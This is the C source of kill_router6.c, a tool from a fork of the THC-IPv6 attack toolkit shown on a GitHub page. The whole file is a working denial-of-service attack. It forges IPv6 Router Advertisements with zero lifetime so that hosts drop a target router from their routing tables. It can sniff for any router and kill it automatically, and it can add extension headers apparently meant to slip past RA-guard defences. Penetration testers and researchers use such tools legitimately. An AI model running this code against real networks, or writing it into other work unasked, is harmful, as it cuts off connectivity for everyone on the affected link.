forked from vanhauser-thc/thc-ipv6
-
Notifications
You must be signed in to change notification settings - Fork 0
/
kill_router6.c
219 lines (201 loc) · 6.66 KB
/
kill_router6.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/wait.h>
#include <time.h>
#include <pcap.h>
#include "thc-ipv6.h"
char *frbuf, *frbuf2, *frint, buf3[1504];
int frbuflen, frbuf2len, do_hop = 0, do_frag = 0, do_dst = 0, type = NXT_ICMP6;
unsigned char *frip6, *frmac, *frdst;
thc_ipv6_hdr * frhdr = NULL;
void help(char *prg) {
printf("%s %s (c) 2022 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE);
printf("Syntax: %s [-HFD] interface router-address [srcmac [dstmac]]\n\n",
prg);
printf(
"Announce that a target a router going down to delete it from the "
"routing tables.\n");
printf(
"If you supply a '*' as router-address, this tool will sniff the network "
"for any\n");
printf("RA packet and immediately send the kill packet.\n");
printf(
"Option -H adds hop-by-hop, -F fragmentation header and -D dst "
"header.\n");
// printf("Use -r to use raw mode.\n\n");
exit(-1);
}
void send_ra_kill(u_char *foo, const struct pcap_pkthdr *header,
const unsigned char *data) {
unsigned char *pkt = NULL, *src = (unsigned char *)data + 14 + 8,
*srcmac = (unsigned char *)data + 6,
*ipv6hdr = (unsigned char *)(data + 14), *target;
int pkt_len = 0, cnt, i, len = header->caplen - 14, offset = 14;
if (do_hdr_size) {
src = (unsigned char *)(data + 8 + do_hdr_size);
// srcmac is ignore anyway
ipv6hdr = (unsigned char *)(data + do_hdr_size);
len = header->caplen - do_hdr_size;
if ((ipv6hdr[0] & 240) != 0x60) return;
offset = do_hdr_size;
}
if (ipv6hdr[6] != NXT_ICMP6 || ipv6hdr[40] != ICMP6_ROUTERADV ||
len < 40 + 16 || (ipv6hdr[46] == 0 && ipv6hdr[47] == 0))
return;
if ((pkt = thc_create_ipv6_extended(frint, PREFER_LINK, &pkt_len, src, frdst,
255, 0, 0, 0xe0, 0)) == NULL)
return;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, frbuf2len) < 0) return;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return;
}
if (do_dst) {
if (type == NXT_ICMP6) type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0x40080000, frbuf,
frbuflen, 0) < 0)
return;
if (do_dst) {
thc_generate_pkt(frint, srcmac, NULL, pkt, &pkt_len);
frhdr = (thc_ipv6_hdr *)pkt;
thc_send_as_fragment6(frint, src, frdst, type, frhdr->pkt + 40 + offset,
frhdr->pkt_len - 40 - offset, 1240);
} else {
if (thc_generate_and_send_pkt(frint, srcmac, NULL, pkt, &pkt_len) < 0)
return;
}
target = thc_ipv62notation(src);
printf("Sent RA kill packet for %s\n", target);
free(target);
pkt = thc_destroy_packet(pkt);
}
int main(int argc, char *argv[]) {
char *interface, mac[16] = "", dmac[16] = "",
string[] = "ip6 and icmp6 and dst ff02::1";
unsigned char *mac6 = mac, *ip6;
unsigned char buf[512], *ptr, buf2[6];
unsigned char *dst = thc_resolve6("ff02::1");
unsigned char *dstmac = dmac;
int i, cnt, offset = 14;
unsigned char *pkt = NULL;
int pkt_len = 0;
int rawmode = 0;
pcap_t * p;
if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]);
frdst = dst;
while ((i = getopt(argc, argv, "FHDr")) >= 0) {
switch (i) {
case 'r':
thc_ipv6_rawmode(1);
rawmode = 1;
break;
case 'F':
do_frag++;
break;
case 'H':
do_hop = 1;
break;
case 'D':
do_dst = 1;
break;
default:
fprintf(stderr, "Error: invalid option %c\n", i);
exit(-1);
}
}
if (argc - optind < 2) help(argv[0]);
frbuf = buf;
frbuf2 = buf2;
frbuf2len = sizeof(buf2);
if (do_hdr_size) offset = do_hdr_size;
interface = argv[optind];
frint = argv[optind];
if (argc - optind >= 4 && (ptr = argv[optind + 3]) != NULL)
sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&dmac[0],
(unsigned int *)&dmac[1], (unsigned int *)&dmac[2],
(unsigned int *)&dmac[3], (unsigned int *)&dmac[4],
(unsigned int *)&dmac[5]);
else
dstmac = NULL;
if (argc - optind >= 3 && (ptr = argv[optind + 2]) != NULL)
sscanf(ptr, "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0],
(unsigned int *)&mac[1], (unsigned int *)&mac[2],
(unsigned int *)&mac[3], (unsigned int *)&mac[4],
(unsigned int *)&mac[5]);
else
mac6 = thc_get_own_mac(interface);
if (argv[optind + 1][0] == '*' || argv[optind + 1][1] == '*') {
ip6 = NULL;
} else {
ip6 = thc_resolve6(argv[optind + 1]);
if (ip6 == NULL) {
fprintf(stderr, "Error: target-router address is invalid: %s\n",
argv[optind + 1]);
exit(-1);
}
}
memset(buf, 0, sizeof(buf));
memset(buf2, 0, sizeof(buf2));
memset(buf3, 0, sizeof(buf3));
i = 8;
frbuflen = i;
if ((p = thc_pcap_init_promisc(interface, string)) == NULL) {
fprintf(stderr, "Error: could not capture on interface %s with string %s\n",
interface, string);
exit(-1);
}
if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6,
dst, 255, 0, 0, 0xe0, 0)) == NULL)
return -1;
if (do_hop) {
type = NXT_HBH;
if (thc_add_hdr_hopbyhop(pkt, &pkt_len, buf2, 6) < 0) return -1;
}
if (do_frag) {
type = NXT_FRAG;
for (i = 0; i <= do_frag; i++)
if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0) return -1;
}
if (do_dst) {
if (type == NXT_ICMP6) type = NXT_DST;
if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0) return -1;
}
if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0x40080000, buf, i, 0) <
0)
return -1;
if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0) return -1;
frhdr = (thc_ipv6_hdr *)pkt;
printf(
"Starting to sending router kill entries for %s (Press Control-C to end) "
"...\n",
argv[optind + 1]);
while (1) {
if (ip6 == NULL) {
while (thc_pcap_check(p, (char *)send_ra_kill, NULL) > 0)
;
} else {
if (do_dst) {
thc_send_as_fragment6(interface, ip6, dst, type,
frhdr->pkt + 40 + offset,
frhdr->pkt_len - 40 - offset, 1240);
} else {
thc_send_pkt(interface, pkt, &pkt_len);
}
sleep(3);
printf("RA kill packet to %s sent.\n", argv[optind + 1]);
}
usleep(60);
}
return 0;
}